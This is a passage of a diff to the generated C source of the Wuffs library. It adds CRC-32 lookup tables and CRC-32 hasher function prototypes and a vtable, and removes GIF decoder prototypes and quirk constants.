++ 3531393053u, 1035903779u, 3599308832u, 961245982u, 3684132967u, 877986649u, 3747788890u, 815846244u, ++ 2841119441u, 1184522735u, 2913852140u, 1114616274u, 2696129195u, 1332855189u, 2756082326u, 1266946472u, ++ 3129952805u, 1431118107u, 3195705880u, 1371074854u, 3009735263u, 1554415969u, 3079748194u, 1481855324u, ++ 2398522169u, 1630855175u, 2315475716u, 1707159610u, 2266835779u, 1759461501u, 2213084030u, 1814728768u, ++ 2636237773u, 1927520499u, 2580814832u, 1981182158u, 2496293815u, 2064121993u, 2420095882u, 2147340468u, ++ 2025787041u, 2541577631u, 2085281436u, 2475210146u, 1901375195u, 2660681189u, 1973518054u, 2590184920u, ++ 1801997909u, 2225743211u, 1872600680u, 2153772374u, 1652813359u, 2369881361u, 1719025170u, 2310296876u, ++ 1594986313u, 2966676599u, 1541693300u, 3022402634u, 1459236659u, 3107472397u, 1376780046u, 3184366640u, ++ 1288097725u, 2734990467u, 1211309952u, 2817619134u, 1160605639u, 2867791097u, 1104723962u, 2920993988u, ++ 937561457u, 3626001999u, 857201996u, 3704993394u, 1040821515u, 3519792693u, 989625654u, 3577615880u, ++ 607473029u, 3421972155u, 549494200u, 3473077894u, 769584639u, 3256649409u, 690699714u, 3337180924u, ++ 273452185u, 4287555495u, 347692196u, 4219156378u, 430386403u, 4133832669u, 491977950u, 4069562336u, ++ 60542061u, 3965298515u, 124656720u, 3903616878u, 175139863u, 3853649705u, 243645482u, 3779581716u, ++ }, { ++ 0u, 3247366080u, 1483520449u, 2581751297u, 2967040898u, 1901571138u, 3904227907u, 691737987u, ++ 3133399365u, 2068659845u, 3803142276u, 589399876u, 169513671u, 3415493895u, 1383475974u, 2482566342u, ++ 2935407819u, 1870142219u, 4137319690u, 924099274u, 506443593u, 3751897225u, 1178799752u, 2278412616u, ++ 339027342u, 3585866318u, 1280941135u, 2379694991u, 2766951948u, 1700956620u, 4236308429u, 1024339981u, ++ 2258407383u, 1192382487u, 3740284438u, 528411094u, 910556245u, 4157285269u, 1848198548u, 2946996820u, ++ 1012887186u, 4258378066u, 1681119059u, 2780629139u, 2357599504u, 1292419792u, 3572147409u, 358906641u, ++ 678054684u, 3924071644u, 1879503581u, 2978491677u, 2561882270u, 1497229150u, 3235873119u, 22109855u, ++ 2460592729u, 1395094937u, 3401913240u, 189516888u, 577821147u, 3825075739u, 2048679962u, 3146956762u, ++ 3595049455u, 398902831u, 2384764974u, 1336573934u, 1720805997u, 2803873197u, 1056822188u, 4285729900u, ++ 1821112490u, 2902796138u, 887570795u, 4117339819u, 3696397096u, 500978920u, 2218668777u, 1169222953u, ++ 2025774372u, 3106931428u, 550659301u, 3780950821u, 3362238118u, 166293862u, 2416645991u, 1367722151u, ++ 3262987361u, 66315169u, 2584839584u, 1537170016u, 1923370979u, 3005911075u, 717813282u, 3947244002u, ++ 1356109368u, 2438613496u, 146288633u, 3375820857u, 3759007162u, 562248314u, 3093388411u, 2045739963u, ++ 3927406461u, 731490493u, 2994458300u, 1945440636u, 1523451135u, 2604718911u, 44219710u, 3274466046u, ++ 4263662323u, 1068272947u, 2790189874u, 1740649714u, 1325080945u, 2406874801u, 379033776u, 3608758128u, ++ 1155642294u, 2238671990u, 479005303u, 3708016055u, 4097359924u, 901128180u, 2891217397u, 1843045941u, ++ 2011248031u, 3060787807u, 797805662u, 3993195422u, 3342353949u, 112630237u, 2673147868u, 1591353372u, ++ 3441611994u, 212601626u, 2504944923u, 1421914843u, 2113644376u, 3161815192u, 630660761u, 3826893145u, ++ 3642224980u, 412692116u, 2172340373u, 1089836885u, 1775141590u, 2822790422u, 832715543u, 4029474007u, ++ 1674842129u, 2723860433u, 1001957840u, 4197873168u, 3540870035u, 310623315u, 2338445906u, 1257178514u, ++ 4051548744u, 821257608u, 2836464521u, 1755307081u, 1101318602u, 2150241802u, 432566283u, 3628511179u, ++ 1270766349u, 2318435533u, 332587724u, 3529260300u, 4217841807u, 988411727u, 2735444302u, 1652903566u, ++ 1602977411u, 2651169091u, 132630338u, 3328776322u, 4015131905u, 786223809u, 3074340032u, 1991273216u, ++ 3846741958u, 616972294u, 3173262855u, 2091579847u, 1435626564u, 2485072772u, 234706309u, 3430124101u, ++ 2712218736u, 1613231024u, 4190475697u, 944458353u, 292577266u, 3506339890u, 1226630707u, 2291284467u, ++ 459984181u, 3672380149u, 1124496628u, 2189994804u, 2880683703u, 1782407543u, 4091479926u, 844224694u, ++ 257943739u, 3469817723u, 1462980986u, 2529005242u, 3213269817u, 2114471161u, 3890881272u, 644152632u, ++ 3046902270u, 1947391550u, 3991973951u, 746483711u, 88439420u, 3301680572u, 1563018173u, 2628197501u, ++ 657826727u, 3871046759u, 2136545894u, 3201811878u, 2548879397u, 1449267173u, 3481299428u, 235845156u, ++ 2650161890u, 1551408418u, 3315268387u, 68429027u, 758067552u, 3970035360u, 1967360161u, 3033356129u, ++ 2311284588u, 1213053100u, 3517963949u, 270598509u, 958010606u, 4170500910u, 1635167535u, 2700636911u, ++ 855672361u, 4069415401u, 1802256360u, 2866995240u, 2212099499u, 1113008747u, 3686091882u, 440112042u, ++ }, { ++ 0u, 2611301487u, 3963330207u, 2006897392u, 50740095u, 2560849680u, 4013794784u, 1956178319u, ++ 101480190u, 2645113489u, 3929532513u, 1905435662u, 84561281u, 2662269422u, 3912356638u, 1922342769u, ++ 202960380u, 2545787283u, 3760419683u, 2072395532u, 253679235u, 2495322860u, 3810871324u, 2021655667u, ++ 169122562u, 2444351341u, 3861841309u, 2106214898u, 152215677u, 2461527058u, 3844685538u, 2123133581u, ++ 405920760u, 2207553431u, 4094313831u, 1873742088u, 456646791u, 2157096168u, 4144791064u, 1823027831u, ++ 507358470u, 2241388905u, 4060492697u, 1772322806u, 490444409u, 2258557462u, 4043311334u, 1789215881u, ++ 338245124u, 2408348267u, 4161972379u, 1672996084u, 388959611u, 2357870868u, 4212429796u, 1622269835u, ++ 304431354u, 2306870421u, 4263435877u, 1706791434u, 287538053u, 2324051946u, 4246267162u, 1723705717u, ++ 811841520u, 2881944479u, 3696765295u, 1207788800u, 862293135u, 2831204576u, 3747484176u, 1157324415u, ++ 913293582u, 2915732833u, 3662962577u, 1106318334u, 896137841u, 2932651550u, 3646055662u, 1123494017u, ++ 1014716940u, 2816349795u, 3493905555u, 1273334012u, 1065181555u, 2765630748u, 3544645612u, 1222882179u, ++ 980888818u, 2714919069u, 3595350637u, 1307180546u, 963712909u, 2731826146u, 3578431762u, 1324336509u, ++ 676490248u, 3019317351u, 3295277719u, 1607253752u, 726947703u, 2968591128u, 3345992168u, 1556776327u, ++ 777919222u, 3053147801u, 3261432937u, 1505806342u, 760750473u, 3070062054u, 3244539670u, 1522987897u, ++ 608862708u, 3220163995u, 3362856811u, 1406423812u, 659339915u, 3169449700u, 3413582868u, 1355966587u, ++ 575076106u, 3118709605u, 3464325525u, 1440228858u, 557894773u, 3135602714u, 3447411434u, 1457397381u, ++ 1623683040u, 4217512847u, 2365387135u, 391757072u, 1673614495u, 4167309552u, 2415577600u, 341804655u, ++ 1724586270u, 4251866481u, 2331019137u, 290835438u, 1707942497u, 4268256782u, 2314648830u, 307490961u, ++ 1826587164u, 4152020595u, 2162433155u, 457265388u, 1876539747u, 4101829900u, 2212636668u, 407333779u, ++ 1792275682u, 4051089549u, 2263378557u, 491595282u, 1775619997u, 4067460082u, 2246988034u, 508239213u, ++ 2029433880u, 3813931127u, 2496473735u, 258500328u, 2079362919u, 3763716872u, 2546668024u, 208559511u, ++ 2130363110u, 3848244873u, 2462145657u, 157552662u, 2113730969u, 3864638966u, 2445764358u, 174205801u, ++ 1961777636u, 4014675339u, 2564147067u, 57707284u, 2011718299u, 3964481268u, 2614361092u, 7778411u, ++ 1927425818u, 3913769845u, 2665066885u, 92077546u, 1910772837u, 3930150922u, 2648673018u, 108709525u, ++ 1352980496u, 3405878399u, 3164554895u, 658115296u, 1403183983u, 3355946752u, 3214507504u, 607924639u, ++ 1453895406u, 3440239233u, 3130208369u, 557218846u, 1437504913u, 3456883198u, 3113552654u, 573589345u, ++ 1555838444u, 3340335491u, 2961681267u, 723707676u, 1606028947u, 3290383100u, 3011612684u, 673504355u, ++ 1521500946u, 3239382909u, 3062619533u, 758026722u, 1505130605u, 3256038402u, 3045975794u, 774417053u, ++ 1217725416u, 3543158663u, 2762906999u, 1057739032u, 1267939479u, 3493229816u, 2812847624u, 1007544935u, ++ 1318679830u, 3577493881u, 2728586121u, 956803046u, 1302285929u, 3594125830u, 2711933174u, 973184153u, ++ 1150152212u, 3743982203u, 2830528651u, 856898788u, 1200346475u, 3694041348u, 2880457716u, 806684571u, ++ 1115789546u, 3643069573u, 2931426933u, 891243034u, 1099408277u, 3659722746u, 2914794762u, 907637093u, ++ }, { ++ 0u, 3717650821u, 1616688459u, 3184159950u, 3233376918u, 489665299u, 2699419613u, 2104690264u, ++ 1510200173u, 2274691816u, 979330598u, 3888758691u, 2595928571u, 1194090622u, 4209380528u, 661706037u, ++ 3020400346u, 1771143007u, 3562738577u, 164481556u, 1958661196u, 2837976521u, 350386439u, 3379863682u, ++ 3993269687u, 865250354u, 2388181244u, 1406015865u, 784146209u, 4079732388u, 1323412074u, 2474079215u, ++ 3011398645u, 1860735600u, 3542286014u, 246687547u, 1942430051u, 2924607718u, 328963112u, 3456978349u, ++ 3917322392u, 887832861u, 2300653011u, 1421341782u, 700772878u, 4099025803u, 1234716485u, 2483986112u, ++ 125431087u, 3673109674u, 1730500708u, 3132326369u, 3351283641u, 441867836u, 2812031730u, 2047535991u, ++ 1568292418u, 2163009479u, 1025936137u, 3769651852u, 2646824148u, 1079348561u, 4255113631u, 537475098u, ++ 3180171691u, 1612400686u, 3721471200u, 4717925u, 2100624189u, 2694980280u, 493375094u, 3237910515u, ++ 3884860102u, 974691139u, 2278750093u, 1514417672u, 657926224u, 4204917205u, 1198234907u, 2600289438u, ++ 160053105u, 3558665972u, 1775665722u, 3024116671u, 3375586791u, 346391650u, 2842683564u, 1962488105u, ++ 1401545756u, 2384412057u, 869618007u, 3997403346u, 2469432970u, 1319524111u, 4083956673u, 788193860u, ++ 250862174u, 3546612699u, 1856990997u, 3006903952u, 3461001416u, 333211981u, 2920678787u, 1937824774u, ++ 1425017139u, 2305216694u, 883735672u, 3912918525u, 2487837605u, 1239398944u, 4095071982u, 696455019u, ++ 3136584836u, 1734518017u, 3668494799u, 121507914u, 2051872274u, 2816200599u, 437363545u, 3347544796u, ++ 3774328809u, 1029797484u, 2158697122u, 1564328743u, 542033279u, 4258798842u, 1074950196u, 2642717105u, ++ 2691310871u, 2113731730u, 3224801372u, 497043929u, 1624461185u, 3175454212u, 9435850u, 3709412175u, ++ 4201248378u, 671035391u, 2587181873u, 1201904308u, 986750188u, 3880142185u, 1519135143u, 2266689570u, ++ 342721485u, 3388693064u, 1949382278u, 2846355203u, 3570723163u, 155332830u, 3028835344u, 1763607957u, ++ 1315852448u, 2482538789u, 775087595u, 4087626862u, 2396469814u, 1396827059u, 4002123645u, 857560824u, ++ 320106210u, 3464673127u, 1934154665u, 2933785132u, 3551331444u, 238804465u, 3018961215u, 1852270778u, ++ 1226292623u, 2491507722u, 692783300u, 4108177729u, 2309936921u, 1412959900u, 3924976210u, 879016919u, ++ 2803091512u, 2055541181u, 3343875443u, 450471158u, 1739236014u, 3124525867u, 133568485u, 3663777376u, ++ 4245691221u, 545702608u, 2639048222u, 1088059291u, 1034514883u, 3762268230u, 1576387720u, 2153979149u, ++ 501724348u, 3228659001u, 2109407735u, 2687359090u, 3713981994u, 13109167u, 3171052385u, 1620357860u, ++ 1206151121u, 2591211092u, 666423962u, 4197321503u, 2271022407u, 1523307714u, 3875649548u, 982999433u, ++ 2850034278u, 1953942499u, 3384583981u, 338329256u, 1767471344u, 3033506165u, 151375291u, 3566408766u, ++ 4091789579u, 779425934u, 2478797888u, 1311354309u, 861580189u, 4006375960u, 1392910038u, 2391852883u, ++ 2929327945u, 1930372812u, 3469036034u, 324244359u, 1847629279u, 3015068762u, 243015828u, 3555391761u, ++ 4103744548u, 688715169u, 2496043375u, 1229996266u, 874727090u, 3920994103u, 1417671673u, 2313759356u, ++ 446585235u, 3339223062u, 2059594968u, 2807313757u, 3660002053u, 129100416u, 3128657486u, 1743609803u, ++ 1084066558u, 2634765179u, 549535669u, 4250396208u, 2149900392u, 1571961325u, 3765982499u, 1039043750u, ++ }, { ++ 0u, 2635063670u, 3782132909u, 2086741467u, 430739227u, 2225303149u, 4173482934u, 1707977408u, ++ 861478454u, 2924937024u, 3526875803u, 1329085421u, 720736557u, 3086643291u, 3415954816u, 1452586230u, ++ 1722956908u, 4223524122u, 2279405761u, 450042295u, 2132718455u, 3792785921u, 2658170842u, 58693292u, ++ 1441473114u, 3370435372u, 3028674295u, 696911745u, 1279765825u, 3511176247u, 2905172460u, 807831706u, ++ 3445913816u, 1349228974u, 738901109u, 2969918723u, 3569940419u, 1237784245u, 900084590u, 2829701656u, ++ 4265436910u, 1664255896u, 525574723u, 2187084597u, 3885099509u, 2057177219u, 117386584u, 2616249390u, ++ 2882946228u, 920233410u, 1253605401u, 3619119471u, 2994391983u, 796207833u, 1393823490u, 3457937012u, ++ 2559531650u, 92322804u, 2044829231u, 3840835417u, 2166609305u, 472659183u, 1615663412u, 4249022530u, ++ 1102706673u, 3702920839u, 2698457948u, 1037619754u, 1477802218u, 3306854812u, 3111894087u, 611605809u, ++ 1927342535u, 4025419953u, 2475568490u, 243387420u, 1800169180u, 4131620778u, 2317525617u, 388842247u, ++ 655084445u, 3120835307u, 3328511792u, 1533734470u, 1051149446u, 2745738736u, 3754524715u, 1120297309u, ++ 340972971u, 2304586973u, 4114354438u, 1748234352u, 234773168u, 2431761350u, 3968900637u, 1906278251u, ++ 2363330345u, 299003487u, 1840466820u, 4038896370u, 2507210802u, 142532932u, 1948239007u, 3910149609u, ++ 3213136159u, 579563625u, 1592415666u, 3286611140u, 2787646980u, 992477042u, 1195825833u, 3662232543u, ++ 3933188933u, 2002801203u, 184645608u, 2517538462u, 4089658462u, 1858919720u, 313391347u, 2409765253u, ++ 3644239219u, 1144605701u, 945318366u, 2773977256u, 3231326824u, 1570095902u, 569697989u, 3170568115u, ++ 2205413346u, 511446676u, 1646078799u, 4279421497u, 2598330617u, 131105167u, 2075239508u, 3871229218u, ++ 2955604436u, 757403810u, 1363424633u, 3427521551u, 2844163791u, 881434553u, 1223211618u, 3588709140u, ++ 3854685070u, 2026779384u, 78583587u, 2577462869u, 4235025557u, 1633861091u, 486774840u, 2148301134u, ++ 3600338360u, 1268198606u, 938871061u, 2868504675u, 3476308643u, 1379640277u, 777684494u, 3008718712u, ++ 1310168890u, 3541595724u, 2943964055u, 846639841u, 1471879201u, 3400857943u, 3067468940u, 735723002u, ++ 2102298892u, 3762382970u, 2619362721u, 19901655u, 1692534295u, 4193118049u, 2240594618u, 411247564u, ++ 681945942u, 3047836192u, 3385552891u, 1422167693u, 822682701u, 2886124859u, 3496468704u, 1298661782u, ++ 469546336u, 2264093718u, 4203901389u, 1738379451u, 38812283u, 2673859341u, 3812556502u, 2117148576u, ++ 3268024339u, 1606809957u, 598006974u, 3198893512u, 3680933640u, 1181316734u, 973624229u, 2802299603u, ++ 4052944421u, 1822222163u, 285065864u, 2381456382u, 3896478014u, 1966106696u, 156323219u, 2489232613u, ++ 2759337087u, 964150537u, 1159127250u, 3625517476u, 3184831332u, 551242258u, 1555722185u, 3249901247u, ++ 2535537225u, 170842943u, 1984954084u, 3946848146u, 2391651666u, 327308324u, 1877176831u, 4075589769u, ++ 263086283u, 2460058045u, 4005602406u, 1942963472u, 369291216u, 2332888742u, 4151061373u, 1784924683u, ++ 1022852861u, 2717425547u, 3717839440u, 1083595558u, 626782694u, 3092517008u, 3291821387u, 1497027645u, ++ 1763466407u, 4094934481u, 2289211402u, 360544636u, 1890636732u, 3988730570u, 2447251217u, 215086695u, ++ 1514488465u, 3343557607u, 3140191804u, 639919946u, 1139395978u, 3739626748u, 2726758695u, 1065936977u, ++ }, { ++ 0u, 3120290792u, 2827399569u, 293431929u, 2323408227u, 864534155u, 586863858u, 2600537882u, ++ 3481914503u, 1987188591u, 1729068310u, 3740575486u, 1173727716u, 4228805132u, 3983743093u, 1418249117u, ++ 1147313999u, 4254680231u, 3974377182u, 1428157750u, 3458136620u, 2011505092u, 1721256893u, 3747844181u, ++ 2347455432u, 839944224u, 594403929u, 2593536433u, 26687147u, 3094146371u, 2836498234u, 283794642u, ++ 2294627998u, 826205558u, 541298447u, 2578994407u, 45702141u, 3141697557u, 2856315500u, 331624836u, ++ 1196225049u, 4273416689u, 4023010184u, 1446090848u, 3442513786u, 1959480466u, 1706436331u, 3696098563u, ++ 3433538001u, 1968994873u, 1679888448u, 3722103720u, 1188807858u, 4280295258u, 3999102243u, 1470541515u, ++ 53374294u, 3134568126u, 2879970503u, 307431215u, 2303854645u, 816436189u, 567589284u, 2553242188u, ++ 3405478781u, 1929420949u, 1652411116u, 3682996484u, 1082596894u, 4185703926u, 3892424591u, 1375368295u, ++ 91404282u, 3163122706u, 2918450795u, 336584067u, 2400113305u, 922028401u, 663249672u, 2658384096u, ++ 2392450098u, 929185754u, 639587747u, 2682555979u, 82149713u, 3172883129u, 2892181696u, 362343208u, ++ 1091578037u, 4176212829u, 3918960932u, 1349337804u, 3412872662u, 1922537022u, 1676344391u, 3658557359u, ++ 1111377379u, 4224032267u, 3937989746u, 1396912026u, 3359776896u, 1908013928u, 1623494929u, 3644803833u, ++ 2377615716u, 877417100u, 623982837u, 2630542109u, 130804743u, 3190831087u, 2941083030u, 381060734u, ++ 106748588u, 3215393092u, 2933549885u, 388083925u, 2350956495u, 903570471u, 614862430u, 2640172470u, ++ 3386185259u, 1882115523u, 1632872378u, 3634920530u, 1135178568u, 4199721120u, 3945775833u, 1389631793u, ++ 1317531835u, 4152109907u, 3858841898u, 1610259138u, 3304822232u, 2097172016u, 1820140617u, 3582394273u, ++ 2165193788u, 955639764u, 696815021u, 2423477829u, 192043359u, 2995356343u, 2750736590u, 437203750u, ++ 182808564u, 3005133852u, 2724453989u, 462947725u, 2157513367u, 962777471u, 673168134u, 2447663342u, ++ 3312231283u, 2090301595u, 1844056802u, 3557935370u, 1326499344u, 4142603768u, 3885397889u, 1584245865u, ++ 3326266917u, 2142836173u, 1858371508u, 3611272284u, 1279175494u, 4123357358u, 3837270743u, 1564721471u, ++ 164299426u, 2955991370u, 2706223923u, 414607579u, 2209834945u, 978107433u, 724686416u, 2462715320u, ++ 2183156074u, 1004243586u, 715579643u, 2472360723u, 140260361u, 2980573153u, 2698675608u, 421617264u, ++ 1302961645u, 4099032581u, 3845074044u, 1557460884u, 3352688782u, 2116952934u, 1867729183u, 3601371895u, ++ 2222754758u, 1032278062u, 754596439u, 2499928511u, 234942117u, 3086693709u, 2793824052u, 528319708u, ++ 1274365761u, 4061043881u, 3816027856u, 1518873912u, 3246989858u, 2020800970u, 1762628531u, 3505670235u, ++ 3223196809u, 2045103969u, 1754834200u, 3512958704u, 1247965674u, 4086934018u, 3806642299u, 1528765331u, ++ 261609486u, 3060532198u, 2802936223u, 518697591u, 2246819181u, 1007707781u, 762121468u, 2492913428u, ++ 213497176u, 3041029808u, 2755593417u, 499441441u, 2261110843u, 1061030867u, 776167850u, 2545465922u, ++ 3274734047u, 2060165687u, 1807140942u, 3528266662u, 1229724860u, 4038575956u, 3788156205u, 1479636677u, ++ 1222322711u, 4045468159u, 3764231046u, 1504067694u, 3265744756u, 2069664924u, 1780612837u, 3554288909u, ++ 2270357136u, 1051278712u, 802445057u, 2519698665u, 221152243u, 3033880603u, 2779263586u, 475261322u, ++ }, { ++ 0u, 2926088593u, 2275419491u, 701019378u, 3560000647u, 2052709654u, 1402038756u, 4261017717u, ++ 1930665807u, 3715829470u, 4105419308u, 1524313021u, 2804077512u, 155861593u, 545453739u, 2397726522u, ++ 3861331614u, 1213181711u, 1636244477u, 3488582252u, 840331801u, 2625561480u, 3048626042u, 467584747u, ++ 2503254481u, 995897408u, 311723186u, 3170637091u, 1090907478u, 4016929991u, 3332753461u, 1758288292u, ++ 390036349u, 3109546732u, 2426363422u, 1056427919u, 3272488954u, 1835443819u, 1152258713u, 3938878216u, ++ 1680663602u, 3393484195u, 3817652561u, 1306808512u, 2954733749u, 510998820u, 935169494u, 2580880455u, ++ 4044899811u, 1601229938u, 1991794816u, 3637571857u, 623446372u, 2336332021u, 2726898695u, 216120726u, ++ 2181814956u, 744704829u, 95158223u, 2881711710u, 1446680107u, 4166125498u, 3516576584u, 2146575065u, ++ 780072698u, 2148951915u, 2849952665u, 129384968u, 4199529085u, 1411853292u, 2112855838u, 3548843663u, ++ 1567451573u, 4077254692u, 3670887638u, 1957027143u, 2304517426u, 657765539u, 251396177u, 2694091200u, ++ 3361327204u, 1714510325u, 1341779207u, 3784408214u, 476611811u, 2986349938u, 2613617024u, 899690513u, ++ 3142211371u, 354600634u, 1021997640u, 2458051545u, 1870338988u, 3239283261u, 3906682575u, 1186180958u, ++ 960597383u, 2536053782u, 3202459876u, 277428597u, 3983589632u, 1125666961u, 1792074851u, 3300423154u, ++ 1246892744u, 3829039961u, 3455203243u, 1671079482u, 2657312335u, 806080478u, 432241452u, 3081497277u, ++ 3748049689u, 1896751752u, 1489409658u, 4138600427u, 190316446u, 2772397583u, 2365053693u, 580864876u, ++ 2893360214u, 35503559u, 735381813u, 2243795108u, 2017747153u, 3593269568u, 4293150130u, 1368183843u, ++ 1560145396u, 4069882981u, 3680356503u, 1966430470u, 2295112051u, 648294626u, 258769936u, 2701399425u, ++ 804156091u, 2173100842u, 2823706584u, 103204425u, 4225711676u, 1438101421u, 2088704863u, 3524758222u, ++ 3134903146u, 347226875u, 1031468553u, 2467456920u, 1860935661u, 3229814396u, 3914054286u, 1193487135u, ++ 3385412645u, 1738661300u, 1315531078u, 3758225623u, 502792354u, 3012596019u, 2589468097u, 875607120u, ++ 1271043721u, 3853125400u, 3429020650u, 1644831355u, 2683558414u, 832261023u, 408158061u, 3057348348u, ++ 953223622u, 2528745559u, 3211865253u, 286899508u, 3974120769u, 1116263632u, 1799381026u, 3307794867u, ++ 2917509143u, 59586950u, 709201268u, 2217549029u, 2043995280u, 3619452161u, 4269064691u, 1344032866u, ++ 3740677976u, 1889445577u, 1498812987u, 4148069290u, 180845535u, 2762992206u, 2372361916u, 588238637u, ++ 1921194766u, 3706423967u, 4112727661u, 1531686908u, 2796705673u, 148555288u, 554857194u, 2407195515u, ++ 26248257u, 2952271312u, 2251333922u, 676868275u, 3584149702u, 2076793175u, 1375858085u, 4234771508u, ++ 2493785488u, 986493953u, 319029491u, 3178008930u, 1083533591u, 4009621638u, 3342158964u, 1767759333u, ++ 3887577823u, 1239362382u, 1612160956u, 3464433197u, 864482904u, 2649647049u, 3022443323u, 441336490u, ++ 1706844275u, 3419730402u, 3793503504u, 1282724993u, 2978819316u, 535149925u, 908921239u, 2554697734u, ++ 380632892u, 3100077741u, 2433735263u, 1063734222u, 3265180603u, 1828069930u, 1161729752u, 3948283721u, ++ 2207997677u, 770953084u, 71007118u, 2857626143u, 1470763626u, 4190274555u, 3490330377u, 2120394392u, ++ 4035494306u, 1591758899u, 1999168705u, 3644880208u, 616140069u, 2328960180u, 2736367686u, 225524183u, ++ }, + }; + +-#define WUFFS_GIF__QUIRKS_BASE 1041635328 +- +-#define WUFFS_GIF__QUIRKS_COUNT 7 +- + // ---------------- Private Initializer Prototypes + + // ---------------- Private Function Prototypes + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_decode_image_config( +- wuffs_gif__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_tell_me_more( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_decode_frame_config( +- wuffs_gif__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__skip_frame( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_decode_frame( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); +- + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_gif__decoder__reset_gc( +- wuffs_gif__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_up_to_id_part1( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_header( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_lsd( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_extension( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__skip_blocks( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_ae( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_gc( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_id_part0( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_id_part1( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_id_part2( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); ++wuffs_crc32__ieee_hasher__up( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x); + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__copy_to_image_buffer( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_pb, +- wuffs_base__slice_u8 a_src); ++static wuffs_base__empty_struct ++wuffs_crc32__ieee_hasher__up__choosy_default( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x); + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_gif__decoder__lzw_init( +- wuffs_gif__decoder* self); ++wuffs_crc32__ieee_hasher__up_arm_crc32( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_gif__decoder__lzw_read_from( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); ++wuffs_crc32__ieee_hasher__up_x86_sse42( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + + // ---------------- VTables + +-const wuffs_base__image_decoder__func_ptrs +-wuffs_gif__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_gif__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_gif__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_gif__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_gif__decoder__frame_dirty_rect), ++const wuffs_base__hasher_u32__func_ptrs ++wuffs_crc32__ieee_hasher__func_ptrs_for__wuffs_base__hasher_u32 = { ++ (uint32_t(*)(const void*))(&wuffs_crc32__ieee_hasher__checksum_u32), + (uint64_t(*)(const void*, +- uint32_t))(&wuffs_gif__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_gif__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_gif__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_gif__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_gif__decoder__num_decoded_frames), +- 